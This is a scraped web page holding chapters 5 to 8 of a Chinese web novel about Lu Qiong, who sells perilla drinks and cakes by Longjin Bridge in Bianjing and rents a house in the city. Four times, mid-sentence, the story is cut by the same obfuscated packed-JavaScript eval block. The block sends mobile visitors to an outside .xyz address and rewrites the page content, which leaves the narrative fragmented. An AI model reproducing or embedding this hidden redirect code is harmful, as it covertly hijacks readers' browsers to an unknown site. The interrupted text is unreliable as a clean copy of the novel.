;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773941|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 患，好生热闹。” 芸香楼便是陆琼昨日见的酒楼，确实气派，可她听人说一碗水都要二十文，比金子还贵，不过也是夸张了些。 陆琼朝那妇人道谢，捧着盆笑道：“我在这桥边卖紫苏饮，还要忙着出摊，就不叨扰婶子了。” 妇人把衣裳浸水里，冲净皂荚液：“忙去罢，我也要赶着回去了。” 回去时金娘的摊子排了有几人，而她的摊子冷清得很。陆萱见她回来了，赶忙接下她手里的盆，放到地上。陆琼也掀开木盖来，淡淡清香就争先飘散出去，隐隐盖过了豆腐香。 那金娘是头个往这瞧的，抻长了脖子：“小娘子做的什么，闻起来好香。” 陆琼用匕舀上一竹筒来，递到她手里：“不过是些紫苏饮，娘子不妨尝尝看。” “这怎么好。”金娘笑着摆手推脱，见陆琼硬要给，就收下了，就这竹筒边尝了一口，酸酸甜甜，味道不差。 “小娘子手艺不错，跟别家熟水一个味儿，不对，好像还更好吃些。” 陆琼这才松了口气，不是她不相信自己的手艺，而是怕这时的人跟她口味不同，不过这下也能安心了，随后还与金娘寒暄几句也开始出摊了。 街巷阡陌叫卖声络绎不绝，茶坊酒肆下笙歌鼎沸，卖货郎走街串巷吆喝着，耍杂戏班子倬刀装鬼，尽是物阜民安的好光景。 陆小娘饮子坊也招揽了好几位客官。叫人齐齐排好，陆琼盛了份透亮色粉的紫苏饮给眼前这位小郎君，好生笑道：“小郎君拿好，用过后还请把竹筒子还与我。” 小郎君年仅十六，刚从憋闷的国子监出来，听闻周遭开了新摊子，便前来品尝一番。谁知叫卖的是两位秀气小娘子，虽做活不太利索，可熟水卖相甚好，接过陆小娘递来的竹筒子，他谢过后便尝了小口。 先是香味上浮清窍，再是酸甜滋润喉间，他双眼亮了亮：“小娘子这紫苏饮与我吃过的有些不同，好似更清爽，还带着酸味，再来一碗！” 陆琼只笑不语，紫苏饮里加了香橼，当然带着酸味，后世里哪个饮品是不加柠檬酸的，既能提鲜还能丰富口感，酸味与甜味对峙着，叫人欲罢不能。 见她露出笑，小郎君耳尖也蹭红，以为是自己这般模样引人发笑，矜持起来：“方才有些失礼，还请小娘子莫怪，可否再来一份？” 陆琼便又笑着给他盛一份。 客人还回的竹筒子都搁在盆里，陆萱蹲在地上用丝瓜瓤挨个洗净，再摆到竹筐里倒扣放好。 陆琼也得空数钱，今日陆续来了些人，卖出有二十来份，她一份定价四文。用了不少料所以比绿豆水卖的贵一些，有人嫌贵也有人愿意买，现下也差不多回本，后面卖出的就是纯利润了。 这些年攒的积蓄不多，平日余下的钱被她存进扑满里，也就是存钱罐，大致也有好几百文，过几日再攒些钱，应当也能在汴京赁下一间房了！ 5. 通济坊 城外一行人浩浩荡荡进城，车马上插了大纛旗，写着“三合镖局”，乃是运送钱财、护送身份高贵之人的镖局。镖局的镖礼则取决于货物价值，护送钱财越多报酬也越高。 普通镖师一月能分到五六两银子，时而还会有额外分红，常常引起他人羡慕。 见桥头有卖熟水的摊子，镖头使唤杂役去买些来，其余人则守在镖车旁。 陆琼头回见镖师，忍不住多瞧一眼，却被那镖头凶狠的模样吓到，心里一惊，赶忙收回视线，谁知他们的杂役却来与她谈话，要了好几碗熟水。杂役一人自是端不过来，陆琼端了两个竹筒子也跟着去。 她鼓起勇气，朝那把玩镖头递了一碗：“客官请慢用。” 镖头也只看着彪悍，实则是讲礼之人，道谢后一饮而尽，嘴角淌了几滴水，直接用袖口擦去。 他原是六扇门的捕头，身手不凡，离开官府后便去做镖师，行走江湖，如今却想收手不干，找个安稳的地方渡尽余下光阴。 坐他身旁的是新镖师，眉上不知为何断了道疤：“这熟水真不错，酸甜酸甜的，不像阿狼做饭，吃盐也是淡的。” 镖师日夜兼程，在荒凉之地往往要平地起炉灶，亲自起火做饭，全是糙人能把饭菜煮熟就是不错了，如今进城自是要犒劳一下。 断疤还了竹筒子又道：“可惜只有熟水，要是能来份鲊脯就更好，就是茄子鲊也可香到十里八街都能闻到。” 鲊脯是当下流行的菜肴，将食材用酒洗，擦干后跟调料一块装入扁坛内，腌出卤水洒净，便可以长期保存，相当于腌制食品。 用酒洗可是极为奢侈之事，凭陆琼的本事还做不出鲊脯，但能将她的紫苏饮跟鲊脯相提并论，也叫她高兴不已。 陆琼笑道：“如今还只是小本经营，往后挣钱了定会再添几样新品，小郎君到时可来尝尝。” “往后的事才说不准，如今城外不大太平，也不知何时能再来汴京。” 汴京不仅有城墙护着，还有重兵把守，自是太平，别处收成不好再加上赋税重，去当山贼的大有人在，住在当地的百姓也是处于水深火热之中。 听这话，陆琼的心跟着一沉，颇有些感慨，不论兴亡受苦的总是百姓，而她也并不奢望过多，能在汴京有一席之地便足矣。回头见陆萱守在摊子，撑着下巴努力睁眼的模样，她的心跟着陷下一块。 幸好她还有人陪在身边，不像前世，在店铺里热情招待客人，回到家却是一片冷清。 不好扰人歇息，陆琼与断疤闲聊几句便离开，顺便替其余镖师又续上一份。而后杂役去别的摊子买了胡饼，他们很快便继续赶路，赁船走水路离开汴京。 陆琼把竹筒子都收在盆里，忽然听见陆萱惊呼：“是碎银子！” 她双手在裙摆处蹭几下便跑去看，用泛红指尖捏着一小块银子。 她们平日都用铜钱，毕竟白银产量少价值高，只有富人才会带银子出门，后来朝廷成立“交子务”，大宗交易都改用“交子”，比银两更方便。像她们这开小摊的，收的尽是些铜板，还是头一回有银子，更别说交子。 金娘可比她们有经验的多，从担子拿出戥子帮忙称：“估摸这有一钱，不过这是九成银，还得往下压。” 这可是意外之喜，陆琼赶忙把碎银子藏好，一钱足银可值百文，就算是掺了杂质的九成银，也有八九十文。往后生意做大了，还要备个戥子和剪子，不然客人来了连钱都付不了。 谢过金娘后她还顺便买了块豆腐，毕竟也馋了有小半天了，如今有钱自是要犒劳一番。 金娘摊上还剩了两块豆腐，给她挑了块瓷实的，笑道：“小娘子头回出摊，往后有不懂的也能来问我，咱相互帮衬。” 陆琼也笑着应好，便把豆腐装进背篓。见桶里还剩有几份紫苏饮，干脆不卖了，早早收摊回去，叫陆萱搭把手，一起把盆里的脏水倒掉。 还记着要去找牙人看房，她把钱袋的钱都数出来，一共挣了两百文，除去成本钱路钱还净赚一百多文，算是开了好头，往后日子定会越过越好。 恰好家里还剩了些药材，今天就不必去买，陆琼分了一部分钱给陆萱：“到杂货铺去买糖和香橼来，还是一样的份，买完就回这等我。” 陆萱拿了钱可高兴，听这话却有些不解：“阿姐怎么不一起？” 陆琼已经背上背篓，提着空桶：“阿姐要去找牙人看房，这两日尽早搬进城里。” 先前听阿姐提过这事，陆萱心里也期盼着，攥紧了钱袋点头：“阿姐放宽心，我定会把事情办好。” 见她这般小大人模样，陆琼也发笑，揉了下她的头，嘱咐几句便离开了。 交易市场的中间人被称为“牙人”，牲畜交易、房屋土地典当都需经牙人的手，有他们见证的交易契约更为妥当，要找牙人就得去“邸肆”，相当于中介机构。 朝廷也设有“店宅务”，为百姓官员提供住所，租金低廉，相当于后世的“廉租房”。可汴京人多，不知几时才能轮到她们租赁，私人邸肆则价钱不定，从百文到数十贯不等。 陆琼找金娘打听过，最近的邸肆就在芸香楼后，她穿过龙津桥，给钱找叫花子带路，才看到低矮简陋的建筑，顶上牌匾醒目写道——“百牙阁”。 内里装潢简朴，帐房先生低头拨弄算珠，另一手对账本勾画：“小娘子要做什么买卖？” 陆琼朝他问好才道出此行目的：“想找供两人住的宅子。” “等着。”说罢，帐房先生往后边叫人，“阿戈，来人了。” 被叫阿戈的人掀开玄色帘子，从里屋出来，朝陆琼行礼道：“小娘子想要怎样是宅子？” 陆琼也回礼，笑道：“价钱不高够住两人，能生火做饭，最好靠近龙津桥。” “龙津桥......” 阿戈思索片刻才道：“城南通济坊有一处合适的宅子，偏小没有茅房，赁一月五百文，小娘子若是接受这就可去看一眼。” 五百文也就是半贯钱，对陆琼来说勉强能负担得起。她此番前来只想打听房屋租赁价钱，不过能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773942|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实地考察自是更好，何况陆萱也在等她，正好一同前去，犹豫片刻便点头答应。 那厢陆萱早把东西买齐，全搁背篓里放好，就等陆琼回来。金娘在她们走后不久也收摊回去，只剩陆萱一人蹲在石砖上发呆，她双手撑着脸，忽见阿姐跟在一人身后走来。 她起身凑到陆琼身边，瞥一眼阿戈，小声道：“阿姐，这是谁？” 陆琼便把事情缘由说与她，陆萱从未见过汴京人住的宅子，听完也跟着兴奋。阿戈在前头带路，两人在身后窃窃私语。 陆萱压抑内心的激动：“阿姐，这总共要多少？” 陆琼压低嗓音：“赁一月五百文。” 陆萱瞠目结舌：“我们没钱啊，该不会被牙人拐走买人吧，我听说牙人背地里尽做些买卖人口的行当。” 陆琼示意她小点声，还安慰她道：“贩卖人口是违返律法的，再说这牙人也是正经邸肆里找的。” 见她镇定自若，陆萱也放下心来，一想到日后就要搬到汴京她就高兴，迈着步子紧紧跟在牙人身后。 陆琼见她这般也忍不住嘴角上扬。 这处房屋都挨得紧密，阿戈带她们左拐右拐，才来到外观简朴青砖绿瓦的房子。前屋主是为官者，因父亲去世，需辞官返乡三年，便将房子卖给现屋主，牙人也只是帮忙租赁与人。 阿戈推开门：“就是这了。” 陆琼抬高腿跨过门槛，里边可比外头看起来大一些。中间四方露天院子，往里走是堂屋灶房合用的主屋，堂屋两边各通一间狭窄卧房，只设有一张空木板床，所幸都开了扇窗，才不至于逼仄阴暗。 她跟陆萱交了下眼神，两人心下都满意得很。 做牙行的也是精明人，阿戈见她们便知是相中这宅子，斟酌言语道：“小娘子若是满意，立马就能办契约，不耽误时候。” 陆琼故作沉思：“这不是小事，可否暂缓几日，容我们回去好好商讨。” 阿戈也不急，笑道：“小娘子若是看中这房子，咱自会给你留着，可五日后还不做决断，咱可就赁给别人了，到时可没得反悔了。” 这正合她意，陆琼拿出十个铜板当是带路的报酬，阿戈也顺势收下，牙人就是靠收牙税、牙祭来挣钱，相当于中介费。阿戈有事要先走，她们也跟着出宅子。 巷子走道不宽，人多时便摩肩擦踵，出门即见左邻右舍，不像村里房屋之间隔得远。 邻家娘子推开门来，原是早先卖豆腐的金娘，她肘间挎了竹篮，见到陆琼二人也愣在原地，陆琼便上前解释缘由。 金娘了然，反应过后也欣喜若狂，拍手叫好：“那感情好，我住这也才半月余，跟旁人也不相识，正愁平日没人作伴呢。” 邻里关系自是最重要的，陆琼也想跟她拉进关系，更何况金娘为人不错，二人又闲聊几句才肯分开。 耽误的时候多，陆琼便到集市买两张胡饼当干粮，花三十文买一斤猪肉，路过杂货铺还买十个碗，毕竟竹筒子还是不大方便，最后才赶着出城的车匆匆回去。 6. 绿豆糕 天热豆腐易变质，陆琼便用井水养着。断疤的话也叫她看清摊子的短板，饮品单一，无法吸引更多客人，而老客人吃腻后便不再来，不过她也才第一天出摊，能不能留住客人也难说。 陆琼心里叹气，眼下还要赶在七日内跟牙人签契，不然搬进城的事又要耽搁，在乡下遇见好事的婆子还要被说亲，实在遭不住了。 念着竹筐里的猪肉还没处理，她又转身进了灶房。 陆萱蹲在地上做鸡食，往里面加了瘪谷、野胡豆，用木棍搅和起来。后院圈了块地，养了两只鸡，分别叫大黄、小黄，每日都会下几个鸡蛋，算是她们的储备粮。 见她抬头朝自己笑，陆琼心情转好，把框里猪肉提起来：“咱今儿做糟猪肉，萱儿还想吃些什么？” 陆萱轻咬下唇，似是苦恼吃什么好，紧缩的眉头忽地展开：“吃豆腐，跟鸡蛋一起炖，浇在饭上很鲜甜。” 陆琼把猪皮上的细毛刮去，点头：“好，就依你的。” 回程路上吃了胡饼垫肚子，如今也差不多消耗尽了。陆琼怕她饿，也不敢再耽误时间，把猪肉放水里洗净，拎到俎上用竹刀切成两份，稍小份的用来做糟肉，剩下的腌成腊肉，日后也能吃。 她先把猪肉冷水下锅，沥水后再加葱、酱、盐、花椒、醪糟一起炖。 糟肉关键就在醪糟，不能先撒进去蒸，要先用纱布包起来，小火慢炖片刻，取出放凉，切成小片后再撤掉纱布，醪糟全浸到肉里，焖上一阵即可上桌。 豆腐是陆萱亲自做的，还非要用刚从鸡窝里捡来的鸡蛋，据说是大黄下的蛋。先把豆腐放进锅里，再淋上一层金黄蛋液，炖上一刻钟就出锅了，整块的豆腐被炖成块状，汤汁也跟着浓稠。 陆琼先把糟肉端上桌，收拾好碗筷就叫陆萱出来。她迫不及待盛一勺糟肉酱汁浇在饭上，香味扑鼻而来，她尝一口，真鲜！肉也嫩，肥而不腻，叫她停不下来。 陆萱口味偏淡，吃了有小半碗饭，突然觉得有些咸，就去舀了碗紫苏饮，喝完便说解腻了，还能再来一碗。 说者无意听者有心，这叫陆琼想了个主意，紫苏饮配上点心，既能饱腹还能解渴，干脆明日就试试。 下午两人都睡得沉，陆琼醒来后便提着竹筐出门，先去采了紫苏叶，再跟村里人买了绿豆、面粉，打算做绿豆糕，回去立即把绿豆泡上水，还顺便通了个烟道。 存钱的扑满藏在床下，她跪在地上取出来，用木棒敲碎，一堆铜板撒出来，粗略估计有近一贯钱，足够赁下那座宅子了。 次日天还未亮，陆琼便把绿豆去皮放锅上蒸，陆萱则去煮紫苏饮，两人忙活半天才把绿豆糕做成，放到竹编食盒里，像昨日一般搭牛车进城。 城里人赶早，街上飘散着各种香味，勾得人垂涎三尺。 卖粥的人揭开锅，盛了碗热气腾腾的胡麻粥：“小郎君接好。” 青弦道过谢后便端碗到矮桌上，见谢洵正坐着阖眼养生，他摇摇头。真不知他家小郎君为何出来遭罪，还连累他跟着风餐露宿，可他面上也不敢有任何怨言，轻声道：“小郎君，早点都端来了。” 谢洵这才睁眼，这两日被关在家中，没怎么吃东西，如今闻到胡麻香也跟着馋了，挖一勺到嘴边，胡麻香也盈溢在口齿间，不知不觉便下肚半碗。 半夜撺掇青弦一起翻墙出来，如今这家也是回不得，且事发突然，身上并没带多少银两，若是去酒楼也会被母亲的人抓回去，只能躲在小摊里用食。 谢洵放下勺子，在桌上留了五个铜板便起身，毕竟今时不同往日，他没有闲钱可以挥霍。 青弦追上他家小郎君，嘴里念叨：“小郎君这是要回去了？夫人应当还没发现，现在赶回去正好。” 谢洵心里在筹算别的事，并没理会，反是叫青弦跟人打听邸肆在哪。 青弦本想应诺，又察觉不对，小郎君打听这个做什么，难不成是要离家出走？但被谢洵催促，他也只能照做。 大抵是百牙阁名扬天下，只找一人便有了下落，青弦回去给谢洵交差，也不敢多问一句。 谢洵也正如青弦所想，要找一处隐蔽的地方住下，算不上离家出走，只是想清静一段日子。 而青弦跟在后边思索，到底是背叛他家小郎君，还是直接跟夫人告密好。 龙津桥人流如织，陆琼出摊也有些时候，紫苏饮搭上绿豆糕还真引了不少人光顾，昨日读书的小郎君也来了，还买了好几份回去说要给同窗尝尝。 陆萱在一旁手忙脚乱，给客人递碗、收铜钱，还要看着摊子的东西不叫人偷去。 待人少了，陆琼捏捏她圆脸，心疼道：“会不会太累，要不先歇会儿。” 忙着数钱的陆萱摇头，发髻一甩一甩活似拨浪鼓：“挣钱才不累，咱还要尽快搬进城呢。” 怎么会不累，从起来到现在就没歇过，方才陆琼就见她站累了蹲下缓缓，如今不肯说也只是怕人担心，下次要带把椅子来。 正想着，隔壁金娘就搬来一张小矮凳，还是竹条编制的，小巧精致，她朝陆萱笑道：“小娘子坐下歇着，若是累坏了还叫你阿姐担心。” 陆萱听完这话便瞧一眼陆琼，见她点头也道谢收下矮凳，还自作主张给了金娘一块绿豆糕，可金娘怎会好意思收下，忙着推脱。 陆琼也跟着道：“金娘就收下，你前日不还说了，往日要互相帮衬，现在只是给个糕点就不要，那我们还怎敢要你的椅子？” 金娘说不过两人，便收下了，她也好奇陆小娘子的手艺怎般，虽说做的熟水不错，可这糕点不同，从泡豆到加佐料，都需要把握好度。 这般想着她也咬了一口，绿豆清香扑鼻而来，留在舌尖的是甜味，好吃是好吃，就是有些噎，叫她想来一份熟水。 金娘本想忍着，可陆小娘子的紫苏饮一直散发着香味，最后还是没忍住买了一碗。 街上行人渐多，陆琼也有些忙不过来，不久桶里就只剩下半碗熟水，便想收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773943|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摊了，见有人上前走里，她面露歉意：“今儿的紫苏饮都卖完了，还请客官改日再来。” 沈卿刚下学堂，便听见学生聚在一堂，聊近日新开的熟水摊出了绿豆糕，都想前去品尝，闲来无事，他也跟着前去。 他朝陆琼行礼：“鄙人无意冒犯，想知小娘子明日何时出摊？” 陆琼也没生疑，毕竟问她何时出摊的人不少，没法给确切回答，只能含糊说下雨不出摊，平日上午出摊，所幸那人得了答复便离开了。 她也趁机叫陆萱一起收摊，把碗都放在竹筐里，打算再买些桂花做桂花糕，不然总吃一样也会生腻，这般想着东西也全收好，提起桶就准备回去。 谁料金娘摊子来了位妇人，气喘吁吁：“金娘，霜姐儿病了，额头烫得像在锅里烧开了，你娘还不管她，你可赶紧回去瞧瞧。” 金娘前些年生了个女儿，取名柳霜儿，她与丈夫柳海岩进城挣钱，便把霜姐儿养在娘家，月月不忘寄钱回去，谁知她娘会这般对霜姐儿，心里越想越难过。 金娘搀着那人的手，眼里含着泪花：“好婶子，霜儿可还在我娘那？” 妇人也握着她手，摇摇头：“霜姐儿如今接在我家，这会儿叫杏姐儿照看着。” 杏姐儿是婶子的大女儿，乖巧伶俐，金娘自是放心的，眼下要急着回去，可她摊子还没收，要耽误不少时候。 陆琼也知道金娘的顾虑，主动帮她收摊，正好先前也去过她家，金娘含泪道谢，转身急遽离开，路上踩到石块还趔趄一下，吓得妇人忙搀着她。 见金娘身影隐入人烟，陆琼也卸下东西，叫陆萱在原地等着：“待我回来再一起去药铺抓药，应当用不了多久。” 陆萱应了声就去帮着收摊，四板豆腐都卖得差不多了，全叠好放担子里。 加上杂七杂八的东西，足足装了有两个担子，陆琼蹲下身挑担，还好不沉，不然她真的扛不动。 说书先生今日在桥下出摊，一袭长衫手里握着折扇：“靖州杨家给及笄小娘子说亲，乃是门当户对的世子，谁知这新娘子成亲前半夜出逃，叫府里上下不得安宁……吕岩这几日在酒肆打杂，好容易才挣钱到邸阁赁了宅屋……” 陆琼接连听了三回，大致能猜到这是“在逃新娘”与“落魄少爷”之间不得不说的二三事。 杨小娘定会碰见吕岩，然后一眼定情，被发现后万般阻挠，家人刁难吕岩这个穷小子，谁知吕岩身世不凡，是某个世家大族的儿子……没想到本朝的人也偏好狗血故事，见旁人都抻长脖子聚精会神，她摇摇头走了。 还未到午时，坊里的人都外出挣钱，遇不见几人，陆琼循着记忆找到金娘家。 昨日没来得及打量，今日才发现金娘家比她看上的要大些，她把担子放进灶房，瞧见院子墙角下的石磨，边上残留了白沫，应当是金娘磨豆腐的工具。 不好耽误时间，陆琼赶忙离开，刚关紧们便听见熟悉的声音，循声望去，那人好像是阿戈？ 7. 桂花糕 城北离皇城近，房屋租金也更贵，谢洵权衡过后决定住在城南。 阿戈带领二人来到通济坊，与先前陆琼看上的宅子同属一条街。 街巷拥挤，人来时几乎贴着墙边走，青弦与谢洵私语：“小郎君，这巷子是否太窄了些，方才险些无落脚的地儿，我们还是回去的好。” 谢洵并非养尊处优之人，先前跟随商队前去杭州，路途遥远且船上住宿不好，也都坚持下来，如今只是换个住所，更加不是难事。 反倒是有些兴致盎然，他道：“无碍，我觉得这处很好。” 入门便见四周宽敞，一口水缸陈设在中间，方便雨天汇集雨水，左侧依次是茅屋、水房、灶房，正中是供人休憩的堂屋，右侧是两间敞亮的卧房，其中稍大一间还有屏风隔断，分出一小处做书房。 谢洵伸出手指点在案桌上，抹了一手灰，但好在地砖干净，不会潮湿阴暗滋生蚊虫。 见谢洵皱眉，阿戈朝他解释道：“先前也有赴京赶考者租赁此处，后来落榜只能返乡，附近也有国子监和不少学堂，方便小郎君结交同好。” 谢洵对外自称是参加秋闱的秀才，需寻一处静谧的院子，便于备考。既然找到合适的住所，他便叫青弦随着阿戈回百牙阁签订契约。 尘埃落定，阿戈与谢洵告别后便带着青弦出院子：“出朱雀门是龙津桥，国子监、太学便位于此处，别处也有瓦子，平日都是座无虚席。龙津桥夜市向来热闹，小郎君若是缺少物件可以到这买。” 见青弦对此淡漠，他也噤声。还未走几步，便听见有人唤他。 “陆小娘子？”阿戈语声诧异。 陆琼应下道：“可是我看中的宅子有问题？” 听到这话，阿戈便知她是误解了，忙道：“并非，我这是要带这位小郎君回去签契来着。” 陆琼这才瞥见青弦，相貌端正，气质不凡，朝他点头。正好今日带了钱，她便决定跟他们一同前去百牙阁签契，阿戈自是迫不及待答应。 怕冷落他们，阿戈路上也不忘攀谈，先是道通济坊的百姓，有在龙津桥或州桥摆摊的，也有经营铺子的，给人当学徒的，进京赶考的。陆琼边听边点头，得了回应，阿戈也说得更起劲。 刚走出巷子，他又停下道：“相国寺离这不远，后日便是开放日，可与人交易物品，二位若是感兴趣可以前去。” 随后一行人便到百牙阁，无需多久便签好字画完押。 出阁后，陆琼将牙契叠好收进里衣，用手捋顺衣裳，这心里的大石头才总算落下。 回到家也不停歇，她跟陆萱需尽快收拾屋子，最好赶在明天搬进汴京，不然多耽搁一天就容易生变故。 陆琼先到后院的鸡圈去捉大黄，反正明日就要搬家，正好用鸡来践行。大黄平日没少活动，肉都很结实，她费了好大功夫才捉到，手下一对翅膀拼命扑腾，还掉了不少鸡毛。 放到院子，叫上陆萱一起处理鸡，烧水烫鸡毛，没多久便拔完毛。 陆琼在光鸡上划几道口子，用粗盐擦在鸡腔内，加入姜、葱、酒腌制，需等上两刻钟才能下锅，余下时间正好去收拾行囊。 见陆萱卧房门没关紧，她便走上前去，陆萱正在叠衣物，夏天穿的素纱衫、淡黄短衫、及膝裥褶裙，以及冬天的嫩粉对襟袄，总共也没多少衣裳。 对襟袄还是丝棉填充的，用的是茧子下脚料。这些年陆萱一直长个子，衣裳短了又改，旧丝棉也反复拉松，看起来松松垮垮，到时也该置办新衣裳了，正好也能带陆萱去相国寺转转，这几日都没好好休息。 陆琼衣裳也不多，加上一支花筒簪和一对耳坠，一个包裹就能打包好。 灶房里的鸡腌出汁水，在底下铺满姜葱，放锅隔水蒸一刻钟，香味便四溢，把陆萱都引进来：“阿姐，好久没吃你做的盐鸡了。” 陆琼也笑道：“那待会你就多吃些。” 时下流行炉焙鸡，煮熟后加酒、醋、盐，还没有盐焗鸡的做法，她试过一回，吃不惯便做成盐焗鸡了。 盐焗鸡传统做法是腌制后用竹制草纸包好，埋入热盐堆中文火焗熟。她也是偶尔馋了才会做上一回，一则是鸡肉也不便宜，再则是家养的鸡要下蛋，不能随便吃。 陆萱也尤其爱这道菜，表皮金黄香脆，肉质滑嫩多汁，味道咸香，易下饭。 锅里水烧开，陆琼叫她去减柴，揭开锅冒出热气，拿了一根筷子扎进肉里，已经熟透了：“萱儿快去把桌子收拾一番。” 陆萱应声好便出去，一路又蹦又跳。 叫陆琼见了发笑：“看着点，可别摔着了。” 把鸡分成两半，一半切成块状，用盘子盛好，另一半则放在食盒里。 趁火还烧着，陆琼顺手炒了盘韭黄，撒上鸡蛋液，末了添上酱汁，色泽金黄，食欲大增。 陆萱也进来端菜，见还剩一半没切，不解道：“这半边怎么不一起切了？” 陆琼在锅里加水，用丝瓜瓤刷锅壁：“剩下的给虞娘送去，我们明日就走了，总得给虞娘说一声，不好空手去。” 陆萱点点头，端了盘子出去。 桌上一盘鸡、一叠韭黄，两人吃撑了才肯歇手，借着给虞娘送东西的功夫也差不多消完食。 虞娘家比较阔气，院子里种有柿子树，树冠极大，比屋子高出几尺，足足有三层楼高。她们去的时候，院门正开着，虞娘在太阳底下腌菜，摆了一地陶罐子。 “虞娘，”陆琼挎着食盒走上前，“这是在腌芥菜呢？这么早，怎么不等入秋再腌。” 小雪腌菜，大雪腌肉。天冷蔬菜少，还贵，她们就会在小雪前后腌萝卜、腌黄瓜，留到冬天吃。 “离姐儿想吃，不知怎的，天天嘴馋，前日还把我做菜的豆腐蘸糖吃了，”虞娘撒一把粗盐在菜上，“你今日来是要买猪肉？” 不怪虞娘这般问，陆琼很少到虞娘家，每次来都是为了买肉， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773944|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不然就是托她帮忙带东西。实在是跟虞娘说不上话，若是成婚生子了，还能跟人聊房事。 她跟离姐儿也不是相仿的年龄，平日也就陆萱天天上虞娘家，还没少蹭吃蹭喝，离姐儿也乐意她来，也只有陆萱来，虞娘才肯把好吃的拿出来。 刚进院子，陆萱跟虞娘打招呼就去找离姐儿了，这会应当在闺房里偷吃糕点，虞娘也会闭只眼随她们去。 陆琼打开食盒，笑道：“这是刚做的盐鸡，还剩了半就给你们送来。我跟萱儿在汴京赁了房住，明日就搬进去，如今正好跟你说一声。” “这么突然，”虞娘皱眉，“那你以后不回来了？” 陆琼摇头：“怎么会，我家还在这。” 虞娘点点头，默不作声，把芥菜卷成一团，塞进陶罐里。 那厢离姐儿还在为好姐妹到来而高兴，把虞娘藏好的梨膏糖翻出来，用手抓了几把，吃得嘴角沾满糖霜。 陆萱也拿了一颗含在嘴里：“日后我不能来找你玩了，我跟阿姐要去汴京住。” 离姐儿听着话，边嚼糖边撇嘴：“那你乞巧节不跟我一起吃巧果了吗？还有酥糖。也不放花灯，玩磨喝乐了？” 虞娘整日说离姐儿胖，叫她管管嘴，但其实离姐儿身形很好，虽不是时下流行的纤细身材，放在大唐也称得上是丰腴。这会儿撇嘴，柳眉一皱，还颇有美人之资。 不过很快眉头舒展开，语气欢快：“那我去汴京找你玩。” 情绪来得快走得也快，离姐儿把梨膏糖放在糖盒里，到柜子找出两个素锦荷包来，一个递给陆萱：“这个给你，可别丢了，不然我们就认不出彼此了。” 离姐儿最近淘了本话本，跟人分别时要互送信物，多年后重逢凭此物认出对方，她觉得很有趣，就打算效仿。陆萱也收好，跟她发誓绝对不会弄丢。 院里还剩下小黄，陆琼便把它卖给邻人，换来三十文钱，到夜里早早歇下。 次日天蒙蒙亮，陆琼便醒了，除了要做紫苏饮，还加了桂花糕，样式不重，才能吸引更多客人。 陆萱昨夜被离姐儿留宿，这档口还没回来，不过也不碍事，她一人就能做好。 桂花糕也叫广寒糕，陆琼将桂花洗净，撒上甘草水，跟盆里面粉一起和好，再撒上糖倒入模具，便上锅蒸。 陆琼转手又去做葱油饼，当做赶路的干粮。先调油酥，碗里倒入清水、面粉、猪油、盐，筷子搅拌均匀，面粉掺盐揉成团，擀成饼状，抹上油酥和葱花，卷起来压扁，放锅里烙至两面金黄。 她迫不及待尝了一口，薄脆咸香，稍不留意整个都吃完了，装几个到食盒里留在路上吃。陆萱也赶巧回来，睡眼惺忪，定是跟离姐儿聊到半夜了，陆琼洗净手也叫她去洗漱：“趁热赶快吃，我们也要出门了。” 陆萱眯眼点点头，还没清醒。 陆琼也不管她，把锅里糕点切成一块块，分装进食盒里，桂花香四溢，她们也该进城了。 8. 揪面片 雇了车夫帮忙搬运行李，除去衣物包裹，还有被褥、锅碗瓢盆、油盐酱醋，零零碎碎的生活必备品全装在木箱子里，足足有两大箱。 再加上做好的紫苏饮、桂花糕，这板车便无处落脚，陆琼二人只能挨得紧紧的，手肘撑在挡板上，提心吊胆就怕掉下去。 等过了城门，二人立即下车，带着车夫把牛车拉到巷子口，车身太大进不去，最后还是叫车夫帮忙搬到家，所幸她们家离巷子口不远，一顿饭功夫就搬好。 龙津桥等了好些人，其中一位小郎君按耐不住，去问了金娘：“昨日在卖紫苏饮的小娘子去哪了？快要晌午了，怎的还没来。” 